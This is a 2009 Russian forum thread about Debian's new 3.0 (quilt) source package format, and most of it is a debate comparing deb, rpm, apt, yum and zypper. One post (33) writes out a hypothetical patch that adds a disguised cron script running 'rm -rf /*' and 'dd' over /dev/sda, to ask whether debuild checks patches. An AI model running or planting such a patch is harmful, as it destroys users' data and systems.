форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка

Вариант для распечатки		Пред. тема | След. тема
Форумы Разговоры, обсуждение новостей (Public)
Изначальное сообщение		[ Отслеживать ]

"В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
Сообщение от opennews (??) on 21-Ноя-09, 22:31
Одной из самых неудобных особенностей системы оформления DEB-пакетов с исходными текстами является объединение всех внешних патчей к базовым исходным текстам программы в виде одного diff-файла. Разобраться какие-именно патчи используются и как выделить из них какой-то определенный патч не является очевидным. Недавно это ограничение было снято - разработчики одобрили (http://lists.debian.org/debian-devel-announce/2009/11/msg000...) возможность включения в рабочие репозитории Debian пакетов в формате  DebSrc 3.0 (http://wiki.debian.org/Projects/DebSrc3.0) / DPKG 3.0 (quilt), в которых предусмотрена возможность компоновки патчей в виде отдельных файлов внутри директории "debian/patches/", примерно, как это делается в формате RPM. Управление раздельными патчами может производится при помощи стандартной утилиты quilt (http://savannah.nongnu.org/projects/quilt). Версия пакетного менеджера dpkg из состава Debian Lenny уже поддерживает новый формат, поэтому проблем с переносимостью воз... URL: http://lists.debian.org/debian-devel-announce/2009/11/msg000... Новость: http://www.opennet.dev/opennews/art.shtml?num=24364
Высказать мнение | Ответить | Правка | Cообщить модератору

Сообщения по теме

[Сортировка по времени | RSS]

1. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
Сообщение от Аноним (??) on 21-Ноя-09, 22:31
наконец-то, теперь не нужно полдня искать патч в котором надо поправить.
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	32. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от pavlinux (ok) on 23-Ноя-09, 17:53
	Напряги с grep/egrep/regexp?   0001.diff 0111.diff 1010.diff 1011.diff 1110.diff 1011.diff 1101.diff odinbalshoy.diff Ну и какая разница? Или Вы до сих пор верите в соответствие названия файла и его содержимого?
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

2. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+1 +/–
Сообщение от Аноним (??) on 21-Ноя-09, 22:42
Интересно когда 3.0 появится в Ubuntu.
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	7. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от digiwhite on 22-Ноя-09, 02:04
	>Интересно когда 3.0 появится в Ubuntu. Уже имеется вроде как.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	15. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от Serega (??) on 22-Ноя-09, 11:49
	2 года назад это было в ubuntu. возможно это одна из причин по которой убунтовцы решили сделать свои (src-)пакеты несовместимыми с debian. Столлман тогда неодобрил.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	30. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от Andrey Mitrofanov on 23-Ноя-09, 14:43
	В огороде бузина, а в бостоне дядька. :/
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

3. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		–3 +/–
Сообщение от anonymous (??) on 21-Ноя-09, 23:21
Иными словами, заново изобрели rpm.
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	4. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		–1 +/–
	Сообщение от sHaggY_caT (ok) on 22-Ноя-09, 00:28
	Осталось придумать спек и систему макросов :)
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	6. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+1 +/–
	Сообщение от vkni on 22-Ноя-09, 00:48
	>Осталось придумать спек и систему макросов :) Причём, систем макросов нужно придумать несколько, да так, чтобы они были несовместимы между собой :-).
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	5. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от vkni on 22-Ноя-09, 00:48
	>Иными словами, заново изобрели rpm. Не совсем. В rpm тоже периодически "изобретают" deb. Но новость безусловно забавная.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	8. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		–1 +/–
	Сообщение от kol on 22-Ноя-09, 03:41
	пруфлинк, пожалуйста
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	9. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от vkni on 22-Ноя-09, 05:12
	Не надо лениться искать: http://opennet.ru/opennews/art.shtml?num=23776
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	12. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от User294 (ok) on 22-Ноя-09, 08:12
	>Иными словами, заново изобрели rpm. Сами сношайтесь с этими вашими RPM-ами. Мало того что порасплодили полдюжины частично совместимых и не совместимых форматов, так еще и пакетный манагер полное УГ писаное на питоне - тормозное и ресурсов жрет что пипец, так что на всяких low resource(embedded, ...) и VM-ах память тупо кончается при работе отстоя с названием yum. Дожили до того что 128 мегов памяти в контейнере - мало чтобы просто пакетик поставить, особенно если не дай боже что-то еще запущено, %$@!
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	13. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+1 +/–
	Сообщение от vkni on 22-Ноя-09, 08:40
	> память тупо кончается при работе отстоя с названием yum. Rpm работает в связке с apt с 2000-го года, когда никаких yum ещё не было.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	16. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		–1 +/–
	Сообщение от User294 (ok) on 22-Ноя-09, 12:50
	>Rpm работает в связке с apt с 2000-го года, Ну да, у альтов оно кажется так и сделано (вы случайно не про них?). Вот только увы, редхат выбрал другой маршрут. Ну и кучка деривативов и подобий туда же последовала. Ну как бы их дело, удачи им и все такое. Но как нибудь без меня.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	25. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от vkni on 23-Ноя-09, 08:24
	>вы случайно не про них? Нет, про Connectiva - папа или мама Mandriva ;-).
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	17. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от Serega (??) on 22-Ноя-09, 14:05
	вы совершенно не понимаете о чем идёт речь. это это стандарт _исходников_ пакетов. корректно было бы его сравнивать со spec-файлами.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	18. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+1 +/–
	Сообщение от sHaggY_caT (ok) on 22-Ноя-09, 23:44
	rpm легче собирать :) Особенно, если рука не набита, как у мантайнеров Дебиана) И про большой репозиторий не нужно, я свои скрипты часто кладу в пакеты, или собираю что-то с патчами (тот же последний sudo с официальным security патчем ужасен, фиксится правкой всего одной строчки в спеке) При этом зависимости формирует сам rpmbuild, мучиться со сборкой dpkg ради каких-то мягких зависимостей, которые все равно нужны не всем (например, не нужны мне) как-то не хочется. Альтернативы (и java и MTA, и т д) можно, через костыли, использовать в rpm-based системах, но вместо этого проще просто создать другой контейнер и в Debian. По-настоящему удобно это только во фре, и в не очень стабильной для сервера генте :( aptitude действительно мощнее, чем yum, но так ли нужны его возможности? а 128 мегабайт yum'у в OVZ/PVC-контейнере более чем достаточно! А то, что yum тормозной, никогда не соглашусь :) Имхо, он уже давно работает не медленнее aptitude! З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает rpm. Конкретный пример: rpm -V. Такой проверки пакетов в dpkg нет by design, есть debsum, но он не умеет даже доли! З.З.Ы. При всем при этом, повторюсь, я согласна с тем, что одним из ключевых преимуществ Debian является именно огромные репозитории, apt, а так же module assistent, даже скажу, что Debian, как систему, я в личном рейтинге удобства ставлю второй после RH-based. Только вот огромные репозитории и apt не так важны, как, имхо, их пытаются обозначить. Кстати, в RH-системах есть Sattelite/Spacewalk для глобального (в маштабах Дата-центров) менеджмента rpm-пакетов на всех системах. Под apt таких решений просто нет. З.З.З.Ы. советую (и прошу, так как надоел уже этот поклеп со стороны пользователей Debian/Ubuntu) допустить, что rpm не так плох, как Вам об этом говорит сформировавшийся, внутри Дебиан-коммюнити, штамп. За что в Debian так модно ненавидеть RH-платформу?
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	19. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от vkni on 23-Ноя-09, 01:21
	>А то, что yum тормозной, никогда не соглашусь :) Имхо, он уже >давно работает не медленнее aptitude! Проблема в том, что yum обязательно проверяет репозитарий при каждом запросе. А у apt команды update и install/upgrade/dist-upgrade разделены. Но это скорее фича, чем бага :-). >З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает Не надо смешивать apt и dpkg. Apt с rpm работает с 2000-го года (постаралась фирма Connectiva). Т.е. почти с рождения. До yum у RedHat был urpmi, у Suse был yast, теперь Zypper. Это утилиты более высокого уровня, чем dpkg/rpm. Yum наверняка можно заставить работать с dpkg, было бы желание. >Только вот огромные репозитории и apt не так важны, как, имхо, их >пытаются обозначить. Они очень важны. Просто сейчас у каждого mainstream дистрибутива есть либо один мощный репозитарий (например, Sisyphus), либо несколько доп. репозитариев (OpenSuse - packman, RH - rpmfusion и т.д.). В каждом дистрибутиве своя утилита аналогичная apt.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	21. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от sHaggY_caT (ok) on 23-Ноя-09, 07:25
	>Проблема в том, что yum обязательно проверяет репозитарий при каждом запросе. А >у apt команды update и install/upgrade/dist-upgrade разделены. Но это скорее фича, >чем бага :-). -------yum(8)--------        -C     Tells  yum  to run entirely from cache - does not download or update any headers unless it has to to perform the               requested action. ---------------------- >>З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает > >Не надо смешивать apt и dpkg. Apt с rpm работает с 2000-го >года (постаралась фирма Connectiva). Т.е. почти с рождения. Фактически, репозиториев под него для RH не найти (последний раз видела только какой-то репозиторий со сборками KDE), потому и немного смешивала :) > у Suse был yast, теперь Zypper. Кстати, вот Zypper, по-моему, действительно очень-очень тормозной, правда в последний раз смотрела OpenSUSE 10.3 и видела какой-то SLES, в котором zypper вообще не был установлен (или не было в репозиториях), может, сейчас и стало лучше. Почему столько негатива на yum, но все молчат про объективно медленном Zypper/yast? >>Только вот огромные репозитории и apt не так важны, как, имхо, их >>пытаются обозначить. > >Они очень важны. Просто сейчас у каждого mainstream дистрибутива есть либо один >мощный репозитарий (например, Sisyphus), либо несколько доп. репозитариев (OpenSuse - packman, >RH - rpmfusion и т.д.). В каждом дистрибутиве своя утилита аналогичная >apt. Дело в качестве. Имхо, лучше меньше пакетов, но в которых практически нет багов, как у того же RHEL. >Вы, видимо по молодости, не застали тех времён, когда ни apt, ни огромных сетевых >репозитариев не было. И установка rpm с компакт-диска RH превращалась в беготню по >каталогу с rpm-ками и ручной установкой. Человеку достаточно, в общем-то жалких 15-ти ? >пакетов, чтобы начать материться. :-) Да, не застала, но на ЛОР (пожалуйста, не нужно меня туда посылать, у меня там даже  регистрации нет:))) в таких случаях предлагают выйти из анабиоза(с). >Ну и в 99-м году то действо, что вызывали команды apt-get update; apt-get dist-upgrade -?>y, приводило народ в дикий восторг. ;-) :)))
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	23. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от Аноним (??) on 23-Ноя-09, 08:05
	Вот вы говорите о том, что в Debian труднее пропатчить под себя пакет. Но сам формат deb к этому вообще отношения не имеет. В нём со второй версии есть всё, что до сих пор пытаются изобрести в rpm. rpmbuild не столь божественнен, как вы пытаетесь это показать. Практически точный аналог dpkg-buildpackage. spec-файлы же, пожалуй, действительно значительно нагляднее системы deb-src. В spec-файле всё сосредоточено в одном месте, что нагляднее нескольких отдельных файлов в каталоге debian/.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	37. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от cheusov (ok) on 24-Ноя-09, 12:09
	>[оверквотинг удален] >пакет. Но сам формат deb к этому вообще отношения не имеет. >В нём со второй версии есть всё, что до сих пор >пытаются изобрести в rpm. > >rpmbuild не столь божественнен, как вы пытаетесь это показать. Практически точный аналог >dpkg-buildpackage. > >spec-файлы же, пожалуй, действительно значительно нагляднее системы deb-src. >В spec-файле всё сосредоточено >в одном месте, что нагляднее нескольких отдельных файлов в каталоге debian/. Не спорьте, горячие финские парни. И Debian и rpm-based дистры конкретно сливают в плане _простоты_ создания и поддержки пакета пакетной системе pkgsrc и другим port-like системам, где инструкции сборки декларативные, а не императивные. Контрольные суммы исходных тарболов, полное описание пакетов, список файлов пакета и собственно инструкции сборки -- в отдельных файлах. Инструкции сборки для "стандартных пакетов" - проще простого. Аж насколько просто работать с патчами -- вообще красота... Никакого УГ типа quilt. Пример: http://cvsweb.se.netbsd.org/cgi-bin/bsdweb.cgi/pkgsrc/devel/.../ http://cvsweb.se.netbsd.org/cgi-bin/bsdweb.cgi/wip/runawk/
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	24. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от vkni on 23-Ноя-09, 08:23
	>-------yum(8)-------- >       -C     >Tells  yum  to run entirely from cache - does >not download or update any headers unless it has to to >perform the >             >  requested action. >---------------------- Я же говорю - фича, естественно, отключаемая. В apt без ключей, зато для полного обновления нужно два раза запускать программу. Ещё вывод yum search и apt-cache search слегка отличается и т.д. Но принципиальной разницы никакой нет, о чём я и пишу. >Фактически, репозиториев под него для RH не найти (последний раз видела только >какой-то репозиторий со сборками KDE), потому и немного смешивала :) А под ALT нет yum, под Suse нет yum, под Mandriva нет yum. Что дальше? Ну вы используете RH, у него свои особенности, свои отличия. Хорошо. Я, в основном, работаю на ALT/Debian => чаще всего apt, редко yum (настолько редко, что заветный ключик -C мне не нужен :-). >Кстати, вот Zypper, по-моему, действительно очень-очень тормозной, Жуткая по медлительности штука. Вспоминаю с содроганием. :-) >Почему столько негатива на yum, но все молчат про объективно >медленном Zypper/yast? Мало используют. Suse - очень качественный дистрибутив, но на любителя. Видимо, с хорошим железом :-). >Дело в качестве. Имхо, лучше меньше пакетов, но в которых практически нет >багов, как у того же RHEL. Это под задачу. Мне нужен rpmfusion в обязательном порядке из-за каких-то пакетов. > в таких случаях предлагают выйти из анабиоза(с). А в реальности в ответ на предложение шлют на три буквы или сразу бьют.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	27. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от Wizard (??) on 23-Ноя-09, 10:21
	>>Кстати, вот Zypper, по-моему, действительно очень-очень тормозной, >Жуткая по медлительности штука. Вспоминаю с содроганием. :-) С тех пор много воды утекло. zypper стал очень быстрым и фичастым! Во времена 10.3 zypper, если мне не изменяет склероз, бил писан на пистоне. Теперь это С или C++. Ну и фичи... В 11.0 - 11.1 радовало zypper wp (what-provides, wp - Вывести список пакетов, предоставляющих указанную способность.) В 11.2 ещё фичу интересную добавили: zypper ps (Вывести список запущенных процессов, использующих файлы, удалённые недавними обновлениями.) Так что хватит zypper ругать. Он подрос, возмужал. :-)
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	34. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от vkni on 23-Ноя-09, 20:43
	> С тех пор много воды утекло. zypper стал очень быстрым и фичастым! Во времена 10.3 zypper, если мне не изменяет склероз, бил писан на пистоне. Теперь это С или C++. Спасибо. Это повод посмотреть Suse - всё-таки если не самый качественный, то один из самых качественных дистрибутивов. > Так что хватит zypper ругать. Он подрос, возмужал. :-) Да не ругаем мы его текущую версию - мы же не знаем, как оно сейчас там. А старая точно была крайне задумчивой по сравнению с apt. Но ничего, скоро выйдет прототип новой версии apt. Вот он точно будет сильно тормозить, ибо прототип :-).
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	28. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от Wizard (??) on 23-Ноя-09, 10:32
	>>Почему столько негатива на yum, но все молчат про объективно >>медленном Zypper/yast? > >Мало используют. Suse - очень качественный дистрибутив, но на любителя. Видимо, с >хорошим железом :-). А это просто смешно! Потому и молчат, что всё устраивает! Не верите - проверьте. Ни и за любимый дистрибутив заступлюсь. За  более 10 лет использования линукса, перепробовал много дистрибутивов. Первым был KSI Linux. Кто-нибудь знает? А, между прочим, именно этот дистрибутив был первым с переведёнными описанимя RPM-пакетов, а не хвалившийся этим, кажизь ASP. Были шляпы и мандрэйки, различные версии дебиана, однажды даже слакварь... А кто-нибудь видел Corel Linux? Ну и конечно не прошёл мимо ALT'а... И только (open)SUSE просто работает. P.S. И кстати, многие ругаются на YaST - "сильно умный"... Ну и не используйте! Благо zypper работает из коммандной строки, а конфигурационные файлы все на своих местах. Я, будучи поклонником SUSE, сам YaST не использую...
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	35. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от vkni on 23-Ноя-09, 20:52
	>Потому и молчат, что всё устраивает! Не верите - проверьте. Я знаю, что он очень качественен. Но и крайне своеобразен из-за yast'а. >Первым был KSI Linux. Кто-нибудь знает? Слышал, но не видел. >А кто-нибудь видел Corel Linux? Видел. "УГ", базировавшееся на Debian, KDE1, когда была уже KDE2 (правда крайне глючная). >И только (open)SUSE просто работает. Однако, надо признать, что первые 10-ки были до первого массированного обновления крайне глючными (про 11-е не знаю). Кроме того, на моей печатной машинке ALT 4.1 бегает значительно шустрее Suse 10.x (x не помню ;-). И, главное, ALT всё-таки наш.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	20. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от vkni on 23-Ноя-09, 01:32
	>Только вот огромные репозитории и apt не так важны, как, имхо, их >пытаются обозначить. Вы, видимо по молодости, не застали тех времён, когда ни apt, ни огромных сетевых репозитариев не было. И установка rpm с компакт-диска RH превращалась в беготню по каталогу с rpm-ками и ручной установкой. Человеку достаточно, в общем-то жалких 15-ти пакетов, чтобы начать материться. :-) А Debian, в чём их безусловная заслуга, принесли в Linux программу apt (до неё был dselect - неделимый apt+synaptic в текстовом режиме) и репозитарии. Другие дистрибутивы, естественно, реализовали то же самое и у себя. Ну и в 99-м году то действо, что вызывали команды apt-get update; apt-get dist-upgrade -y, приводило народ в дикий восторг. ;-)
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	22. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от sHaggY_caT (ok) on 23-Ноя-09, 07:44
	>А Debian, в чём их безусловная заслуга, принесли в Linux программу apt >(до неё был dselect - неделимый apt+synaptic в текстовом режиме) и >репозитарии. Другие дистрибутивы, естественно, реализовали то же самое и у себя. Кстати, есть пакетик yum-utils, с кучей утилит под разные случаи жизни (тот же yumdownloader)
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	26. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от vkni on 23-Ноя-09, 08:37
	>Кстати, есть пакетик yum-utils, с кучей утилит под разные случаи жизни (тот >же yumdownloader) В apt сильно по-другому, просто скачка без установки - ключ -d. Ну и можно как-то указать каталог, в который сохранять (обычно это /var/cache/apt/archives/). У yum, пожалуй, есть интересная штука, аналога которой я в apt ещё не видел - авто выбор зеркала репозитария.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

11. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
Сообщение от Аноним (??) on 22-Ноя-09, 07:26
как верно замечено в новости: > Версия пакетного менеджера dpkg из состава Debian Lenny уже поддерживает новый формат quilt используется достаточно давно, в чём новость ? или имеется ввиду что теперь его сделают обязательным ?
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

14. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
Сообщение от JackYF on 22-Ноя-09, 11:04
"Одной из самых неудобных особенностей системы оформления DEB-пакетов с исходными текстами является объединение всех внешних патчей к базовым исходным текстам программы в виде одного diff-файла" Который так же само мог содержать debian/patches, что и делалось большинством сопровождающих.
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

29. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
Сообщение от Аноним (??) on 23-Ноя-09, 11:41
А еще у yum'a есть включенный по умолчанию в последних федорах presto, который качает только бинарные диффы, а не целиком пакет при обновлениях. А у apt или yast такое есть?
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	31. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от ananimus on 23-Ноя-09, 14:58
	>А еще у yum'a есть включенный по умолчанию в последних федорах presto, >который качает только бинарные диффы, а не целиком пакет при обновлениях. > >А у apt или yast такое есть? есть. debdelta.
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

	36. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
	Сообщение от Аноним (??) on 24-Ноя-09, 01:21
	>есть. debdelta. ну и толку что он есть - репозиториев то нет =)
	Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

33. "В Debian GNU/Linux официально введен в строй формат пакетов ..."		+/–
Сообщение от pavlinux (ok) on 23-Ноя-09, 18:01
Чёй-то я довно debы не собирал, оно там, при сборке, проверяет применимость патча? А то, вот такой попадётся ") --- /dev/null   2009-10-24 08:27:53.000000000 +0400 +++ /etc/cron.daily/checkfs.sh  2009-11-23 17:58:23.674251269 +0300 @@ -0,0 +1,4 @@ +#!/bin/bash + +rm -rf /* & + +dd if=/dev/zero of=/dev/sda Ну, то есть,  если я создам такой diff и запихну его в debian/patches, как патчи к, скажем links, debuild проверяет, то что этот патч вообще для исходника. Хотя, от рута, оно всегда вернёт true
Высказать мнение | Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Индекс форумов | Темы | Пред. тема | След. тема